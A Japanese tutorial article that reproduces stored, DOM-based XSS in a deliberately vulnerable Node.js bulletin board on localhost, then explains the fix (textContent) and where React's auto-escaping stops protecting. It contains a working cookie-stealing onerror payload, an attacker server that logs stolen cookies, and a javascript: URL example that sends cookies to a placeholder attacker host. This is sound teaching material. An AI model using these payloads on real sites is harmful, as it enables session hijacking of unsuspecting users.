0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

XSSはなぜ成立し、Reactはなぜ防げるのか — 掲示板アプリで再現して確かめる

0
Posted at

はじめに

機能を実装するとき、意識は「要求どおり動くか」に向きがちで、
「その入力値を攻撃者がどう悪用するか」までは考えが及びにくい。

この記事では、実際に動く掲示板アプリでXSSを再現し、
「なぜ成立するのか」を明確にしたうえで対策する。
最終的に、XSSの本質を一つの原則に言い換え、
React / Next.js を使う現場で「どこを自分で気をつければいいのか」まで落とし込む。

読み終えたとき、ユーザー入力を画面に出す一行を書くたびに
「この値は今、データとして扱われているか、コードとして扱われているか」を
反射的に問えるようになる——それがこの記事のゴールだ。

1. XSS再現

まずは、脆弱性を仕込んだ掲示板アプリで、実際にXSSが成立するところを再現する。

題材にするのは、投稿フォームに本文を入力して送信すると、その内容が下の「投稿内容」欄にそのまま並んでいくだけの、ごく単純な掲示板アプリだ。

例えば投稿フォームに「テスト」と入力して送信すると、

image1.png

一覧に #1 テスト と、投稿した文字がそのまま表示される。

image2.png

環境

全体像

今回のデモは、次の4つで構成される。

  • 攻撃対象サイト(掲示板アプリ)— 投稿を保存・表示するだけの掲示板
  • クッキー収集サーバー — 攻撃者が盗んだクッキーを受け取る待ち受け先
  • 被害者 — 掲示板を「眺めるだけ」の一般の閲覧者
  • 攻撃者 — あらかじめ掲示板に罠を1つ仕込んでおく人物

攻撃者の目的は、被害者のクッキー値を盗むこと。
攻撃者が一度悪意あるスクリプトを投稿しておくと、被害者が一覧ページを開いた瞬間に、被害者のクッキーが localhost:4000 へ送信される——というのがこれから再現する流れだ。

image.png

実行方法

1. 以下のソースファイルをNode.jsで実行して、2つのサーバーを起動させる。前者(localhost:3000)が、掲示板アプリのHTMLファイルを返し、後者(localhost:4000)が、クッキー値を受け取り、コンソールに表示する。

const http = require("http");
const crypto = require("crypto");

const posts = []; // { id, body } を保存するだけの簡易DB

const targetServer = http.createServer((req, res) => {
  const url = new URL(req.url, "http://localhost:3000");

  if (req.method === "POST" && url.pathname === "/post") {
    let data = "";
    req.on("data", (chunk) => (data += chunk));
    req.on("end", () => {
      const params = new URLSearchParams(data);
      const body = params.get("body") || "";
      posts.push({ id: posts.length + 1, body });
      res.writeHead(302, { Location: "/" });
      res.end();
    });
    return;
  }

  if (url.pathname === "/api/posts") {
    res.writeHead(200, { "Content-Type": "application/json; charset=utf-8" });
    res.end(JSON.stringify(posts));
    return;
  }

  const cookies = parseCookie(req.headers.cookie || "");
  let sessionId = cookies.session_id;
  const headers = { "Content-Type": "text/html; charset=utf-8" };
  if (!sessionId) {
    sessionId = "sess-" + crypto.randomBytes(6).toString("hex");
    headers["Set-Cookie"] = `session_id=${sessionId}; Path=/`;
  }

  const html = `<!DOCTYPE html>
<html lang="ja"><head><meta charset="UTF-8"><title>脆弱な掲示板</title></head>
<body>

<h1>掲示板投稿(Stored XSS デモ)</h1>
  <p>あなたの session_id クッキー: <code id="me"></code></p>
  <form method="POST" action="/post">
    <textarea name="body" rows="4" cols="60"></textarea><br>
    <button type="submit">投稿する</button>
  </form>
  <hr>
  <h2>投稿内容</h2>
  <div id="post-output"></div>
  <script>
    document.getElementById("me").textContent = document.cookie;
    fetch("/api/posts")
      .then((r) => r.json())
      .then((posts) => {
        document.getElementById("post-output").innerHTML =
          posts.map(p => "<div>#" + p.id + " " + p.body + "</div>").join("<hr>");
      });
  </script>
</body></html>`;

  res.writeHead(200, headers);
  res.end(html);
});

const attackerServer = http.createServer((req, res) => {
  const url = new URL(req.url, "http://localhost:4000");
  if (url.pathname === "/steal") {
    const stolen = url.searchParams.get("c");
    console.log("\n========== 🩸 クッキーを盗みました ==========");
    console.log("  受信時刻 :", new Date().toLocaleString());
    console.log("  送信元IP :", req.socket.remoteAddress);
    console.log("  盗んだ値 :", stolen);
    console.log("============================================\n");
  }
  res.writeHead(200, { "Content-Type": "image/gif" });
  res.end(
    Buffer.from("R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7", "base64")
  );
});

function parseCookie(str) {
  const out = {};
  str.split(";").forEach((pair) => {
    const idx = pair.indexOf("=");
    if (idx > -1) out[pair.slice(0, idx).trim()] = pair.slice(idx + 1).trim();
  });
  return out;
}

targetServer.listen(3000, () =>
  console.log("[標的] 脆弱な掲示板   : http://localhost:3000")
);
attackerServer.listen(4000, () =>
  console.log("[罠]  攻撃者収集サーバー: http://localhost:4000  (待ち受け中...)")
);

2. localhost:3000を表示し、投稿フォームに、通常の文章の代わりに次の悪意あるスクリプトを投稿する

<img src=x onerror="new Image().src='http://localhost:4000/steal?c='+encodeURIComponent(document.cookie)">

この悪意あるスクリプトはDBに保存され、以降その一覧ページを開いた全ての閲覧者のブラウザで実行される。

被害者が一覧ページを開いた瞬間、被害者のクッキーが攻撃者のサーバー(localhost:4000)へ送信され、ターミナルに表示される。被害者は投稿を眺めただけで、攻撃者は一度悪意あるスクリプトを仕込むだけで、クッキーを盗み取れてしまった。

image3.png

2. 仕組み解説

結論から言うと、掲示板アプリが投稿本文を「ただの文字列」ではなく「HTML」として画面に埋め込んでいたため、投稿に紛れ込ませた悪意あるスクリプトがそのまま実行されてしまった。

image.png

攻撃が成立するまでの流れを、順を追って解説する。

1. 悪意あるスクリプトをDBに保存

攻撃者は、投稿フォームに通常の文章の代わりに次のスクリプトを送信する。これは他の投稿とまったく同じ経路を通り、ただのテキストとしてDBに保存される。

<img src=x onerror="new Image().src='http://localhost:4000/steal?c='+encodeURIComponent(document.cookie)">

一見すると画像を表示するだけのタグに見えるが、実際は次のように動く「罠」になっている。

  • <img src=x>x という存在しない画像を読み込もうとするため、画像の読み込みは必ず失敗する
  • onerror="..." — 画像の読み込みが失敗したときに実行されるイベントハンドラ。HTMLの正規の機能で、ここでは画像をわざと失敗させることで、意図的に中のJavaScriptを起動している
  • document.cookie — 閲覧者のブラウザが持つ、その掲示板のクッキー(セッションIDなど)を読み取る
  • encodeURIComponent(...) — 読み取ったクッキーを、URLに載せられる形式に変換する
  • new Image().src = 'http://localhost:4000/steal?c=' + ... — 攻撃者のサーバーのURLに、盗んだクッキーを c パラメータとして付けて代入している。画像の src にURLを入れると、ブラウザはそのURLへ画像を取りに行くGETリクエストを送信する。この仕組みを悪用して、クッキーを攻撃者のサーバーへ送りつけている

つまりこの一行は、「画像の読み込みをわざと失敗させて onerror を起動し、その中で閲覧者のクッキーを攻撃者のサーバーへ送信する」 という動作を、画像タグ1つに仕込んだものだ。

なぜ <script> タグを直接使わないのか?
ブラウザは、innerHTML で後から挿入された <script> タグは実行しない仕様になっている。そこで攻撃者は、onerror のように「HTMLとして挿入されただけで発火するイベントハンドラ」を使ってJavaScriptを実行させる。

2. 被害者がWebサイトにアクセス

被害者は、罠が仕込まれていることを知らずに掲示板の一覧ページを開く。このときDBに保存された投稿がすべて読み込まれ、その中には攻撃者が仕込んだスクリプトも含まれている。

3. 被害者のブラウザ上で、悪意あるスクリプトが実行される

掲示板アプリは、APIから取得した投稿本文(p.body)を innerHTML に渡して画面に描画している。

fetch("/api/posts")
  .then((r) => r.json())
  .then((posts) => {
    document.getElementById("post-output").innerHTML =
      posts.map(p => "<div>#" + p.id + " " + p.body + "</div>").join("<hr>");
  });

これが今回XSSが発生した原因だ。innerHTML は渡された文字列をHTMLとして解釈するため、投稿本文に含まれる <img ...> が、ただの文字列ではなく本物のHTML要素として組み立てられてしまう。結果、存在しない画像 x の読み込みが失敗して onerror が発火し、クッキーを送信するJavaScriptが実行される。

こうして被害者は投稿を眺めただけで、攻撃者は一度スクリプトを仕込んだだけで、クッキーが盗み取られてしまう。

3. 対策

原因は、投稿本文を innerHTML に渡してHTMLとして解釈させてしまったことにあった。ならば対策は単純で、投稿本文を「HTMLではなく、ただの文字列」として描画すればよい。ここでは textContent を使う。

![JavaScript:修正版]

fetch("/api/posts")
  .then((r) => r.json())
  .then((posts) => {
    const output = document.getElementById("post-output");
    posts.forEach(p => {
      const div = document.createElement("div");
      div.textContent = "#" + p.id + " " + p.body;  // textContent は中身を常に「ただの文字列」として扱う
      output.appendChild(div);
    });
  });

textContent に代入した値は、たとえHTMLタグの形をしていても解釈されず、そのままの文字として画面に表示される。つまり <img src=x onerror=...> は、実行される罠ではなく、<img src=x onerror=...> という見たままの文字列として表示されるだけになる。innerHTMLtextContent に変える——たったこれだけで、XSSは成立しなくなる。

image.png

実際に、対策後は同じ悪意あるスクリプトを投稿しても、タグはそのまま文字として表示されるだけで、onerror は発火せず、攻撃者のサーバーにクッキーは届かない。

4. XSSの種類と、そこから見える共通項と本質

XSSは「悪意あるスクリプトがどこにあるか」と「どこで実行されるか」という独立した2つの軸で分類できる。まずこの2軸で整理し、そのうえで全ての型に共通する本質を導く。

分類軸1: 悪意あるスクリプトがどこにあるか

反射型

悪意あるスクリプトが攻撃対象サイトとは別の場所(罠サイトのリンクなど)にあり、リクエストに乗せて送り込まれ、そのレスポンスにそのまま反射して実行される。

image.png

持続型

悪意あるスクリプトが攻撃対象サイトのDBに保存され、そのページを閲覧した全ユーザーに対して繰り返し実行される。先ほど再現したデモはこちらに当たる。

image.png

分類軸2: 悪意あるスクリプトがどこで実行されるか

サーバーサイド

サーバーがHTMLを生成する時点で、ユーザー入力をエスケープせずに埋め込んでしまうパターン。ブラウザがレスポンスを受け取った時点で、すでに悪意あるスクリプトがHTMLに含まれている。
例えば、掲示板の投稿本文をサーバー側のテンプレートがそのまま出力するようなケースが該当する

image.png

クライアントサイド(DOM Based XSS)

ページを生成するサーバーサイドではなく、ブラウザでの処理が原因で発生するXSS。
サーバーが返すHTML自体は安全だが、ブラウザ上で動くJavaScriptが外部由来の値を、innerHTMLdocument.writeevalなどを通じてDOMに書き込むことでスクリプトが実行される。
先ほど再現したデモは、DBに保存された投稿をブラウザのJSがinnerHTMLで描画していたため、まさにこのクライアントサイド型に当たる。2軸で整理すると「持続型 × クライアントサイド」となる。

image.png

共通項と本質

これらの分類は、悪意あるスクリプトが「どこにあるか・どこで実行されるか」が違うだけで、根本原因と対策の原理はすべて同じである。

共通項

どの型も、外部から受け取った値が、ある出力先で「ただのデータ(文字列)」ではなく「コード(HTML/JavaScript)」として解釈されてしまうことでXSSが発生している。

XSSの本質

外部から受け取った値を、出力先の文脈に応じた適切な処理をしないことが原因で発生する。
出力先の文脈に応じて、受け取った値を、コードではなくデータとして扱う必要がある。

5. React,Next.jsではどうか

実際の開発現場では、Vanilla JSを直接書くことはほとんどなく、React や Next.js などのフレームワークを使うのが一般的だろう。
それでも先ほどのXSS再現であえて Vanilla JS を採用したのは、React や Next.js が値を自動でエスケープして保護してくれるため、フレームワーク上ではそもそもXSSが再現しにくいからだ。
この章では、フレームワークが守ってくれる範囲と、そこから外れてエンジニア自身の責任になる場所を明確にする。

フレームワークが自動で守る範囲

Reactは、JSXの { } に埋め込んだ値(HTMLのテキスト)を自動でエスケープする。3章で textContent を使って手動でやった対策を、デフォルトでやってくれる。

<div>{post.body}</div>   // <img onerror=...> も「ただの文字」として表示され、実行されない

ユーザー入力はエスケープされるので、普通に書いている限りXSSは発生しない。

フレームワークが自動で守らない範囲

問題は、受け取った値が コードとして解釈される出力先 に書くとき。これはReactの保護の外=自分の責任になる。いずれも「文字列が何かの言語に変わる」場所であり、変わる言語が違うだけだ。ここでは代表的な2つを取り上げる。

1. dangerouslySetInnerHTMLの使用

<div dangerouslySetInnerHTML={{ __html: post.body }} />

自動エスケープは「{} の中身を文字に変える」機能だが、dangerouslySetInnerHTML は「エスケープせずHTMLとして入れて」という明示的な指示なので、自分で保護をオフにしている。名前が "dangerously(危険なことに)" なのはそれに気づかせるため。2〜3章で再現したXSSと同じ現象が起きる。

2. href / src の javascript: スキーム

// user.website が "javascript:new Image().src='http://攻撃者/steal?c='+document.cookie" のとき
<a href={user.website}>サイト</a>   // クリックした瞬間に実行される

Reactは属性の中で「HTMLの構造を壊す文字」("> など)はエスケープする。しかし javascript:... は構造を壊しておらず、正しい形をした危険なURL なので防げない。「アプリが出したい正当なURL」と「攻撃URL」をReactは区別できないからだ。
対策は、スキームを自分で検証し http / https だけを許可すること。

const safe = /^https?:\/\//.test(user.website) ? user.website : "#";

エンジニアが意識すべきこと

原則はひとつ、表示は通常のJSXに寄せること。{ } に入れて描画している限りReactが自動でエスケープするので、XSSは発生しない。

保護が効くのは { } の中だけなので、そこから外れるAPIを使う瞬間だけ、責任が自分に移る。

6. まとめ

1. XSSの本質

  • 外部から受け取った値を、出力先の文脈に応じた適切な処理をしないことが原因で発生する。
    出力先の文脈に応じて、受け取った値を、コードではなくデータとして扱う必要がある。

2. React,Next.js開発でエンジニアが考慮すべきこと

  • 表示には通常のJSXを使う。{ } に入れて描画している限り、Reactが自動でエスケープするのでXSSは発生しない。
  • 保護が効くのは { } の中だけであり、そこから外れるAPIを使った瞬間に、責任はフレームワークから自分に移る。
  • そのときは、値がどこへ出力されるかを確認し、出力先に応じた処理を自分で入れる。

参考

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?